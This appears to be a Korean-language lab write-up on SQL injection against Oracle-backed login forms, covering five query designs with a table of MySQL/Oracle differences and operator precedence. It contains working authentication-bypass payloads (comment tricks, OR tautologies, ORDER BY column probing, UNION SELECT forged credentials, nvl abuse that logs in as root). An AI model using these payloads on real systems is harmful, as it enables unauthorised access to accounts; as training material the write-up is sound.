6 분 소요

SQL Injection 이란?

  • sql 질의문을 삽입하는 공격이다. 즉 sql 질의문에 악의적인 코드를 배치하는 공격이다.
  • 웹 해킹 기술중 하나이다.

목적

  • 정보 유출
  • 저장된 데이터 유출 및 조작
  • 인증 우회

실습 환경

  • DB 서버 : Rocky-8.7
  • DB 버전 : oracle-database-xe-21c

members 테이블 구조

sid id password email info hashpwd
integer PRIMARY KEY VARCHAR(60) VARCHAR(60) VARCHAR(60) VARCHAR(60) CHAR(128)
  • hashpwd 컬럼은 password를 해시(SHA512) 암호화를 한 것 이다.
  • 실제로 유저 정보를 저장하기 위한 테이블을 구성할 때는 해시 암호화된 비밀번호만 저장해야한다.



로그인 방식에 따른 sql 인젝션 공격방식

  • 식별
    • 많은 데이터 중에서 특별한 데이터를 가려내는것.
  • 인증
    • 그 사람이 맞는지 확인하는 작업. ( 비밀번호 인증 )

1. 식별과 인증을 동시에 할 때

  • 하나의 sql 질의문 으로 식별과 인증을 완료한다.

로그인방법

select * from members where id='아이디' and PASSWORD='비번'
  • 아이디비밀번호를 동시에 일치하면 사용자 정보가 나온다. 이러한 정보가 나오면 로그인에 성공한 것이다.
  • 하지만 아무 정보도 안나오면 로그인에 실패 한 것이다.

로그인 코드

  • 다음 코드를 통해 인증을 한다.
    var member = auth.authAndMember(id, pwd);
    

정상적인 로그인
Pasted image 20230419141436
Pasted image 20230419141453


공격 방법

  • 주석을 이용한 인증우회(1)
  입력
id user2'--
pwd ` `
  • 서버에서 완성된 쿼리문
    select * from members where id='user2'--' and PASSWORD=' '
    Pasted image 20230419044643
    Pasted image 20230419044620


  • 주석을 이용한 인증우회(2)
  입력
id user2'/*
pwd */and '1'='1
  • 서버에서 완성된 쿼리문
    select * from members where id='user2'/*' and password='*/and '1'='1';
    Pasted image 20230419141124
    Pasted image 20230419141032
  • 블럭 단위로 주석처리 하였다.


  • or 이용한 인증우회
  입력
id user2' or '1'='1
pwd ` `
  • 서버에서 완성된 쿼리문
    select * from members where id='user2' or '1'='1' and PASSWORD=' '
    Pasted image 20230419141300
    Pasted image 20230419141331
  • 비교연산자 우선순위에 의해 and 연산자 부분을 먼저 계산을 하고 or 연산을 계산한다.
    select * from members where (id='user2' or ('1'='1' and PASSWORD=' '))



2. 식별과 인증을 따로 할 때

로그인방법

  1. 유저가 입력한 id와 sql 질의문을 통해 id 정보와 비밀번호 정보를 불러온다.
    select id,PASSWORD from members where id='아이디'
  2. 입력받은 비밀번호와 db 에서 불러온 비밀번호를 비교하여 일치하는지 확인한다.
  3. 일치하면 db 에서 불러온 id 정보를 통해 나머지 유저 정보도 불러온다.
    select * from members  where id='db에서 불러온 id정보';

로그인 코드

정상적인 로그인
Pasted image 20230419141842
Pasted image 20230419141903

union을 이용한 우회 공격 전 정확한 컬럼 수 찾기

  • order by 를 이용한다.
  • user2' order by 2 -- 로그인 성공
    Pasted image 20230419141937
    Pasted image 20230419141951
  • user2' order by 3 -- 로그인 실패
    Pasted image 20230419142020
    Pasted image 20230419142050
  • 즉 컬럼의 수가 2개인 것을 확인할 수 있다.


공격 방법

  • union + 주석 사용
  입력
id x' union select 'user2','user2' from dual --
pwd user2
  • 서버에서 완성된 쿼리문
    select id,PASSWORD from members where id='x' union select 'user2','user2' from dual where '1'='1'
    Pasted image 20230419142133
    Pasted image 20230419142152


  • union + where 사용
  입력
id x' union select 'user2','user2' from dual where '1'='1
pwd user2
  • 서버에서 완성된 쿼리문
    select id,PASSWORD from members where id='x' union select 'user2','user2' from dual where '1'='1'
    Pasted image 20230419142239
    Pasted image 20230419142252



3. 식별과 인증을 동시에 할 때(+ HASH 암호화된 비밀번호)

  • 웹서버는 사용자 사용하는 비밀번호를 HASH 암호화 하여 서버에 저장한다.

로그인 방법

  • 하나의 sql 질의문 으로 식별과 인증을 완료한다는 것이다.
    select * from members where id='입력id' and hashpwd=standard_hash('입력 pwd','SHA512');
    
  • 웹 서버에서 pwd 를 바로 비교하는것이 아닌 SHA512 알고리즘으로 HASH 암호화한 값을 비교한다.
  • 아이디비밀번호를 동시에 일치하면 유저 정보가 나온다. 이러한 정보가 나오면 로그인에 성공한 것이다.
  • 하지만 아무 정보도 안나오면 로그인에 실패 한 것이다.

로그인 코드

정상적인 로그인
Pasted image 20230419142438
Pasted image 20230419142455

nvl 함수

  • nvl 함수는 값이 null 인 경우 지정값을 출력하고 , 값이 null 아니면 그대로 출력한다.
  • nvl(값, 지정값)
  • ‘1’ 은 null 이 아니다. 따라서 1이 출력된다.
    Pasted image 20230419143825


공격 방법

  • 주석사용
  입력
id user2' --
pwd ` `
  • 서버에서 완성된 쿼리문
    select id from members where id='user2' -- ' and hashpwd=standard_hash('ksdjfaklsf','SHA512')
    Pasted image 20230419142553
    Pasted image 20230419142616



  • 주석 + or + nvl사용 (members 테이블의 가장 상위에 있는 root 로 로그인된다.)
  입력
id user2'/*
pwd */ or '1'=nvl('1
  • 서버에서 완성된 쿼리문
    select id from members where id='user2'/*' and hashpwd=standard_hash('*/ or '1'=nvl('1','SHA512')
    Pasted image 20230419142842
    Pasted image 20230419142857
  • 여기서 user2 사용자가 아닌 root로 로그인 된 것을 확인할 수 있다.
  • 서버에서 완성된 쿼리는 모든 사용자 정보를 불러오고 서버는 사용자 정보들 중 맨위에 존재하는 사용자의 정보를 가져와 보여준다.
  • 테이블 맨위에는 root 사용자가 존재하여 root 계정으로 로그인된 것 이다.

  • 주석 + and + nvl사용
  입력
id user2'/*
pwd */ and '1'=nvl('1
  • 서버에서 완성된 쿼리문
    select id from members where id='user2'/*' and hashpwd=standard_hash('*/ and '1'=nvl('1','SHA512')
    Pasted image 20230419144106
    Pasted image 20230419144117



  • or 이용하기
  입력
id user2' or '1'='1
pwd ` `
  • 서버에서 완성된 쿼리문
    select id from members where id='user2' or '1'='1' and hashpwd=standard_hash(' ','SHA512')
    Pasted image 20230419143137
    Pasted image 20230419143153



4. 식별과 인증을 따로 할 때(+ 비밀번호 SHA512 하여 table에 저장)

로그인 방법

  1. 유저가 입력한 id와 sql 질의문을 통해 id 정보와 해시로 저장된 비밀번호 정보를 불러온다.
    select id,hashpwd from members where id='아이디'
  2. 유저가 입력한 비밀번호를 해시 암호화 알고리즘을 통해 암호화 한다.
  3. 유저가 입력한 해시화 된 비밀번호와 db에서 불러온 해시화된 비밀번호를 비교한다.
  4. 서로 일치하면 db 에서 불러온 id 정보를 이용하여 나머지 유저 정보도 불러온다.

코드

정상적인 로그인
Pasted image 20230419150421
Pasted image 20230419150437

정확한 컬럼 수 찾기

  • order by 를 이용한다.
  • user2' order by 2 -- 로그인 성공
    Pasted image 20230419144418
  • 컬럼수가 2개라는 것을 알 수 있다.


공격방법

  • union 을 이용한다.
  입력
id 2' union select 'user2', cast(standard_hash('user2','SHA512') as char(128)) from dual --
pwd user2
  • 서버에서 완성된 쿼리문
    select id,hashpwd from members where id='x' union select 'user2', cast(standard_hash('user2','SHA512') as char(128)) from dual -- '
    Pasted image 20230419145121
    Pasted image 20230419145133


  • 직접 해시 암호한 값을 넣어준다.
  입력
id 2' union select 'user2', hash('a','SHA512') from dual --
pwd a
  • hash(‘a’,’SHA512’) = 1F40FC92DA241694750979EE6CF582F2D5D7D28E18335DE05ABC54D0560E0F5302860C652BF08D560252AA5E74210546F369FBBBCE8C12CFC7957B2652FE9A75
  • 서버에서 완성된 쿼리문
    select id,hashpwd from members where id='2' union select 'user2', '1F40FC92DA241694750979EE6CF582F2D5D7D28E18335DE05ABC54D0560E0F5302860C652BF08D560252AA5E74210546F369FBBBCE8C12CFC7957B2652FE9A75' from dual --'
    Pasted image 20230419145351
    Pasted image 20230419145407


  • 주석 없이 하기
  입력
id 2' union select 'user2', cast(standard_hash('user2','SHA512') as char(128)) from dual where '1'='1
pwd user2
  • 서버에서 완성된 쿼리문
    select id,hashpwd from members where id='2' union select 'user2', cast(standard_hash('user2','SHA512') as char(128)) from dual where '1'='1'
    Pasted image 20230419145543
    Pasted image 20230419145554

  • standard_hash(‘user2’,’SHA512’) 로 나오는 결과와 table 에 저장된 hash 로 암호화 된 패스워드는 타입이 다르다.
  • 따라서 cast 함수를 이용하여 타입을 char(128) 로 변경하였다.



5. 식별과 인증을 따로 할 때(+ id 두번 확인하기 )

로그인방법

  1. 유저가 입력한 id와 sql 질의문을 통해 id 정보와 비밀번호 정보를 불러온다.
    select id,PASSWORD from members where id='아이디' and id='아이디'
  2. 여기서 id를 두번 확인한 것을 알 수 있다.
  3. 입력받은 비밀번호와 db 에서 불러온 비밀번호를 비교하여 일치하는지 확인한다.
  4. 일치하면 db 에서 불러온 id 정보를 통해 나머지 유저 정보도 불러온다.
    select * from members  where id='db에서 불러온 id정보';

로그인 코드

정상적인 로그인
Pasted image 20230419150308
Pasted image 20230419150324


정확한 컬럼 수 찾기

  • order by 를 이용한다.
  • user2' order by 2 -- 로그인 성공
    Pasted image 20230419145849
    Pasted image 20230419150003
  • user2' order by 3 -- 로그인 실패
  • 즉 컬럼의 수는 2개 라는것을 알 수 있다.


공격방법

  • union + 주석 사용
  입력
id x' union select 'user2','a' from dual --
pwd a
  • 서버에서 완성된 쿼리문
    select id,PASSWORD from members where id='x' union select 'user2','a' from dual -- ' and id='x' union select 'user2','a' from dual -- '
    Pasted image 20230419150030
    Pasted image 20230419150041


특징

  • id를 한번확인 하는 방법보다 2번 확인을 하면 공격자가 인증 쿼리 예측하기 힘들다.
  • where 문을 추가할 수 없다.
    id에 다음 쿼리를 입력하여도 로그인이 안된다.
    x' union select 'user2','user2' from dual where '1'='1



단방향 해시 함수


  • 임이의 길이를 갖는 데이터를 고정된 길이의 데이터로 변환시켜주는 함수이다.
  • 위변조 여부를 판별하거나, 무결성을 검증하는데 사용된다.
  • 비밀번호를 서버에 안전하게 저장하기 위해 사용한다.
  • MD5, SHA1, SHA256, SHA512 등이 있다.

SQL 차이


  mysql oracle db
한줄 주석 #, –
부분 주석 /**/ /**/
SHA512 SHA2(‘A’,512) standard_hash(‘A’,’SHA512’ )
더미 테이블 select ‘a’, ‘b’ select ‘a’,’b’ from dual



Oracle SQL 연산자 우선순위


연산자 설명
산술연산자 ** * , /, +, - **
연결연산자 ||
비교연산자 =, > , < , >= , <= , <> , != , ^=
논리연사자 BETWEEN, NOT, AND, OR
SQL 연산자 LIKE, NOT LIKE, IN, EXISTS
집합 연산자 UNION ALL, UNION, INTERSECT, MINUS
순서 연산자
1 괄호
2 * , /
3 + , -
4 = , <> , < , > , <= , >=
5 IS (IS NULL, IS NOT NULL, IS EMPTY, IS NOT EMPTY)
6 BETWEEN
7 NOT
8 AND
9 OR

참고 사이트


댓글남기기